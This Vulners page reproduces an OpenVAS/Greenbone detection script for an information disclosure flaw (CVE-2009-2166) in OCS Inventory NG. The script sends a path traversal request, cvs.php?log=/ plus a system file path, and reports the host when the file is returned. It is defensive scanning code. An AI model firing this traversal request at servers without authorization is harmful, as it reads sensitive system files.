Lucene search
+L

OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check

🗓️ 26 Jun 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 16 Views

OCS Inventory NG 'cvs.php' Information Disclosure Vulnerability. Improper user input sanitization in 'cvs.php' allows information disclosure

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2009-2166
22 Jun 200920:30
attackerkb
circl
Circl
CVE-2009-2166
3 Jun 200900:00
circl
cve
CVE
CVE-2009-2166
22 Jun 200920:00
cve
cvelist
Cvelist
CVE-2009-2166
22 Jun 200920:00
cvelist
debiancve
Debian CVE
CVE-2009-2166
22 Jun 200920:00
debiancve
exploitdb
Exploit DB
OCS Inventory NG 1.02 - Remote File Disclosure
3 Jun 200900:00
exploitdb
euvd
EUVD
EUVD-2009-2162
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-2166
22 Jun 200920:30
nvd
osv
OSV
DEBIAN-CVE-2009-2166
22 Jun 200920:30
osv
osv
OSV
UBUNTU-CVE-2009-2166
22 Jun 200920:30
osv
Rows per page
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:ocsinventory-ng:ocs_inventory_ng";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900378");
  script_version("2026-05-08T16:04:57+0000");
  script_tag(name:"last_modification", value:"2026-05-08 16:04:57 +0000 (Fri, 08 May 2026)");
  script_tag(name:"creation_date", value:"2009-06-26 07:55:21 +0200 (Fri, 26 Jun 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2009-2166");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_ocs_inventory_http_detect.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("ocs_inventory/http/detected");

  script_tag(name:"summary", value:"OCS Inventory NG is prone to an information disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to improper sanitization of user supplied input
  through the 'cvs.php' file which can exploited by sending a direct request to the 'log'
  parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause path
  traversal attack, and gain sensitive information.");

  script_tag(name:"affected", value:"OCS Inventory NG prior to version 1.02.1.");

  script_tag(name:"solution", value:"Update to version 1.02.1 or later.");

  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/8868");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/50946");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("os_func.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files("linux");

foreach file (keys(files)) {
  url = dir + "/cvs.php?log=/" + files[file];

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation